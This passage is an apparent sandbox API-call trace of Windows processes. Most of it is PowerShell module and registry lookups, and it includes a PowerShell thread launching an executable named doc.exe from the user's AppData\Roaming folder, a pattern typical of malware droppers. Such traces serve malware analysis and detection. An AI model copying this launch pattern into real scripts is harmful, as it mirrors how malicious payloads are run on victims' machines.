nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0195.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0195.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0195.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0195.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0195.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0197.227] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x599e610 | out: phkResult=0x599e610*=0x510) returned 0x0 [0197.228] RegQueryValueExW (in: hKey=0x510, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e630, lpData=0x0, lpcbData=0x599e62c*=0x0 | out: lpType=0x599e630*=0x1, lpData=0x0, lpcbData=0x599e62c*=0x56) returned 0x0 [0197.228] RegQueryValueExW (in: hKey=0x510, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e630, lpData=0x25df50c, lpcbData=0x599e62c*=0x56 | out: lpType=0x599e630*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x599e62c*=0x56) returned 0x0 [0197.228] RegCloseKey (hKey=0x510) returned 0x0 [0197.229] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x599e610 | out: phkResult=0x599e610*=0x510) returned 0x0 [0197.229] RegQueryValueExW (in: hKey=0x510, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e630, lpData=0x0, lpcbData=0x599e62c*=0x0 | out: lpType=0x599e630*=0x1, lpData=0x0, lpcbData=0x599e62c*=0x56) returned 0x0 [0197.229] RegQueryValueExW (in: hKey=0x510, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e630, lpData=0x25df820, lpcbData=0x599e62c*=0x56 | out: lpType=0x599e630*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x599e62c*=0x56) returned 0x0 [0197.229] RegCloseKey (hKey=0x510) returned 0x0 [0197.229] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x599e610 | out: phkResult=0x599e610*=0x510) returned 0x0 [0197.230] RegQueryValueExW (in: hKey=0x510, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e630, lpData=0x0, lpcbData=0x599e62c*=0x0 | out: lpType=0x599e630*=0x1, lpData=0x0, lpcbData=0x599e62c*=0x56) returned 0x0 [0197.230] RegQueryValueExW (in: hKey=0x510, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e630, lpData=0x25dfb1c, lpcbData=0x599e62c*=0x56 | out: lpType=0x599e630*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x599e62c*=0x56) returned 0x0 [0197.230] RegCloseKey (hKey=0x510) returned 0x0 [0197.230] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x599e610 | out: phkResult=0x599e610*=0x510) returned 0x0 [0197.230] RegQueryValueExW (in: hKey=0x510, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e630, lpData=0x0, lpcbData=0x599e62c*=0x0 | out: lpType=0x599e630*=0x1, lpData=0x0, lpcbData=0x599e62c*=0x56) returned 0x0 [0197.231] RegQueryValueExW (in: hKey=0x510, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e630, lpData=0x25dfe30, lpcbData=0x599e62c*=0x56 | out: lpType=0x599e630*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x599e62c*=0x56) returned 0x0 [0197.231] RegCloseKey (hKey=0x510) returned 0x0 [0197.231] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x599e65c | out: phkResult=0x599e65c*=0x510) returned 0x0 [0197.232] RegQueryValueExW (in: hKey=0x510, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e67c, lpData=0x0, lpcbData=0x599e678*=0x0 | out: lpType=0x599e67c*=0x1, lpData=0x0, lpcbData=0x599e678*=0x56) returned 0x0 [0197.232] RegQueryValueExW (in: hKey=0x510, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e67c, lpData=0x25e012c, lpcbData=0x599e678*=0x56 | out: lpType=0x599e67c*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x599e678*=0x56) returned 0x0 [0197.232] RegCloseKey (hKey=0x510) returned 0x0 [0197.232] CoTaskMemAlloc (cb=0x20c) returned 0x5baf858 [0197.232] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x5baf858 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0197.232] CoTaskMemFree (pv=0x5baf858) [0197.232] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0197.233] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0197.233] EtwEventActivityIdControl () returned 0x0 [0197.233] SetEvent (hEvent=0x50c) returned 1 [0197.233] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x599e9b8*=0x50c, lpdwindex=0x599e7dc | out: lpdwindex=0x599e7dc) returned 0x0 [0197.235] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x599e8f4, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0197.235] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x599eab0 | out: lpConsoleScreenBufferInfo=0x599eab0) returned 1 [0197.236] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x599eab0 | out: lpConsoleScreenBufferInfo=0x599eab0) returned 1 [0197.322] EtwEventActivityIdControl () returned 0x0 [0197.322] EtwEventActivityIdControl () returned 0x0 [0197.322] EtwEventActivityIdControl () returned 0x0 [0197.340] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x599e898, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0197.348] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe")) returned 0x2020 [0197.350] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0197.350] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", nBufferLength=0x2b, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", lpFilePart=0x0) returned 0x2a [0197.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e740) returned 1 [0197.350] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe"), fInfoLevelId=0x0, lpFileInformation=0x599ea04 | out: lpFileInformation=0x599ea04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe59bb710, ftCreationTime.dwHighDateTime=0x1d7b45b, ftLastAccessTime.dwLowDateTime=0xe59bb710, ftLastAccessTime.dwHighDateTime=0x1d7b45b, ftLastWriteTime.dwLowDateTime=0xe7058810, ftLastWriteTime.dwHighDateTime=0x1d7b45b, nFileSizeHigh=0x0, nFileSizeLow=0x9ba00)) returned 1 [0197.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e73c) returned 1 [0197.351] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe")) returned 0x2020 [0197.358] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0197.365] LocalAlloc (uFlags=0x0, uBytes=0x56) returned 0x3f2808 [0197.365] LocalAlloc (uFlags=0x0, uBytes=0x36) returned 0x3fdca8 [0197.366] ShellExecuteExW (in: pExecInfo=0x25f6d34*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", lpParameters=0x0, lpDirectory="C:\\Users\\kEecfMwgj\\Desktop", nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x25f6d34*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", lpParameters=0x0, lpDirectory="C:\\Users\\kEecfMwgj\\Desktop", nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x658)) returned 1 [0198.335] LocalFree (hMem=0x3f2808) returned 0x0 [0198.335] LocalFree (hMem=0x3fdca8) returned 0x0 [0198.336] EtwEventActivityIdControl () returned 0x0 [0198.336] EtwEventActivityIdControl () returned 0x0 [0198.336] EtwEventActivityIdControl () returned 0x0 [0198.336] EtwEventActivityIdControl () returned 0x0 [0198.336] EtwEventActivityIdControl () returned 0x0 [0198.339] SetEvent (hEvent=0x324) returned 1 [0198.339] SetEvent (hEvent=0x2b8) returned 1 [0198.339] SetEvent (hEvent=0x2bc) returned 1 [0198.339] SetEvent (hEvent=0x340) returned 1 [0198.339] SetEvent (hEvent=0x354) returned 1 [0198.339] SetEvent (hEvent=0x348) returned 1 [0198.339] SetEvent (hEvent=0x34c) returned 1 [0198.339] SetEvent (hEvent=0x350) returned 1 [0198.339] SetEvent (hEvent=0x358) returned 1 [0198.340] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x599f210*=0x360, lpdwindex=0x599f034 | out: lpdwindex=0x599f034) returned 0x0 [0198.345] SetThreadUILanguage (LangId=0x0) returned 0x409 [0198.346] CoCreateGuid (in: pguid=0x599f07c | out: pguid=0x599f07c*(Data1=0xd2fb19aa, Data2=0x7d05, Data3=0x41e3, Data4=([0]=0x87, [1]=0x89, [2]=0xde, [3]=0x0, [4]=0x4f, [5]=0xaa, [6]=0x6, [7]=0x42))) returned 0x0 [0198.346] QueryPerformanceCounter (in: lpPerformanceCount=0x599f05c | out: lpPerformanceCount=0x599f05c*=1262936933600) returned 1 [0198.357] QueryPerformanceCounter (in: lpPerformanceCount=0x599f024 | out: lpPerformanceCount=0x599f024*=1262937990113) returned 1 [0198.357] EtwEventActivityIdControl () returned 0x0 [0198.357] EtwEventActivityIdControl () returned 0x0 [0198.357] EtwEventActivityIdControl () returned 0x0 [0198.358] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x2, pHandles=0x599ebd0*=0x64c, lpdwindex=0x599ea94 | out: lpdwindex=0x599ea94) returned 0x0 [0198.359] SetEvent (hEvent=0x604) returned 1 [0198.359] SetEvent (hEvent=0x64c) returned 1 [0198.359] EtwEventActivityIdControl () returned 0x0 [0198.359] SetEvent (hEvent=0x65c) returned 1 [0198.359] SetEvent (hEvent=0x604) returned 1 [0198.359] SetEvent (hEvent=0x64c) returned 1 [0198.359] SetEvent (hEvent=0x66c) returned 1 [0198.359] SetEvent (hEvent=0x660) returned 1 [0198.359] SetEvent (hEvent=0x664) returned 1 [0198.360] SetEvent (hEvent=0x668) returned 1 [0198.360] SetEvent (hEvent=0x670) returned 1 [0198.360] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x599f210*=0x360, lpdwindex=0x599f034 | out: lpdwindex=0x599f034) returned 0x0 [0198.713] CoGetContextToken (in: pToken=0x599f5fc | out: pToken=0x599f5fc) returned 0x0 [0198.715] CoUninitialize () Thread: id = 148 os_tid = 0x780 Thread: id = 152 os_tid = 0xc18 [0165.669] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0165.671] CoGetContextToken (in: pToken=0x4a0f974 | out: pToken=0x4a0f974) returned 0x0 [0165.671] CObjectContext::QueryInterface () returned 0x0 [0165.671] CObjectContext::GetCurrentThreadType () returned 0x0 [0165.671] Release () returned 0x0 [0165.671] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0165.671] CoUninitialize () Thread: id = 153 os_tid = 0x84c Thread: id = 156 os_tid = 0x9d0 [0166.172] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0166.175] CoGetContextToken (in: pToken=0x43cf7f4 | out: pToken=0x43cf7f4) returned 0x0 [0166.175] CObjectContext::QueryInterface () returned 0x0 [0166.175] CObjectContext::GetCurrentThreadType () returned 0x0 [0166.175] Release () returned 0x0 [0166.176] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0166.176] CoUninitialize () [0182.633] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics\\microsoft.powershell.diagnostics.psd1")) returned 0x20 [0182.634] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1")) returned 0x20 [0182.634] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\TroubleshootingPack.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack\\troubleshootingpack.psd1")) returned 0x20 [0182.634] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0182.634] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1")) returned 0x20 [0182.635] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow\\PSWorkflow.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psworkflow\\psworkflow.psd1")) returned 0xffffffff [0182.635] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils\\microsoft.powershell.odatautils.psd1")) returned 0x20 [0182.636] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility\\PSWorkflowUtility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psworkflowutility\\psworkflowutility.psd1")) returned 0xffffffff [0182.636] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics\\PSDiagnostics.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics\\psdiagnostics.psd1")) returned 0x20 [0182.636] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager\\NetworkSwitchManager.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\networkswitchmanager\\networkswitchmanager.psd1")) returned 0xffffffff [0182.636] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration\\PSDesiredStateConfiguration.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration\\psdesiredstateconfiguration.psd1")) returned 0x20 [0182.636] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\Microsoft.WSMan.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management\\microsoft.wsman.management.psd1")) returned 0x20 [0182.637] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive\\microsoft.powershell.archive.psd1")) returned 0x20 [0182.637] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\AppLocker.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\applocker\\applocker.psd1")) returned 0xffffffff [0182.637] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets\\cimcmdlets.psd1")) returned 0x20 [0182.637] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1")) returned 0x20 [0182.637] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0182.637] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob\\PSScheduledJob.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob\\psscheduledjob.psd1")) returned 0x20 [0182.638] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0182.638] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts\\1.0.0.0\\Microsoft.PowerShell.LocalAccounts.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.localaccounts\\1.0.0.0\\microsoft.powershell.localaccounts.psd1")) returned 0xffffffff [0182.638] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0182.638] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1")) returned 0x20 [0182.638] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0182.639] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\ISE.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise\\ise.psd1")) returned 0x20 [0182.639] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0182.639] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host\\microsoft.powershell.host.psd1")) returned 0x20 [0186.341] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0x2020 [0186.341] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x104, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0186.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x43ceed0) returned 1 [0186.341] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), fInfoLevelId=0x0, lpFileInformation=0x26342a0 | out: lpFileInformation=0x26342a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa18da600, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0xa18da600, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0xe2c35250, ftLastWriteTime.dwHighDateTime=0x1d7b45b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0186.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x43ceecc) returned 1 [0186.342] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0186.347] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0186.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x43cf054) returned 1 [0186.347] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0186.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x43cde70) returned 1 [0186.496] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0186.497] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0186.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x43cf0bc) returned 1 [0186.497] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0186.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x43cded8) returned 1 Thread: id = 158 os_tid = 0x9c8 [0170.212] CoGetContextToken (in: pToken=0x5a5fa84 | out: pToken=0x5a5fa84) returned 0x0 [0170.213] CObjectContext::QueryInterface () returned 0x0 [0170.213] CObjectContext::GetCurrentThreadType () returned 0x0 [0170.213] Release () returned 0x0 [0170.213] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 162 os_tid = 0x62c Thread: id = 163 os_tid = 0xc64 Thread: id = 191 os_tid = 0x54c Thread: id = 195 os_tid = 0xca0 Thread: id = 198 os_tid = 0xc94 Thread: id = 200 os_tid = 0xc8c Thread: id = 201 os_tid = 0xc88 [0192.306] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0192.309] ResetEvent (hEvent=0x258) returned 1 Thread: id = 204 os_tid = 0xcbc Thread: id = 208 os_tid = 0xc5c Thread: id = 209 os_tid = 0xd38 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x76036000" os_pid = "0x364" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x1c0" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" 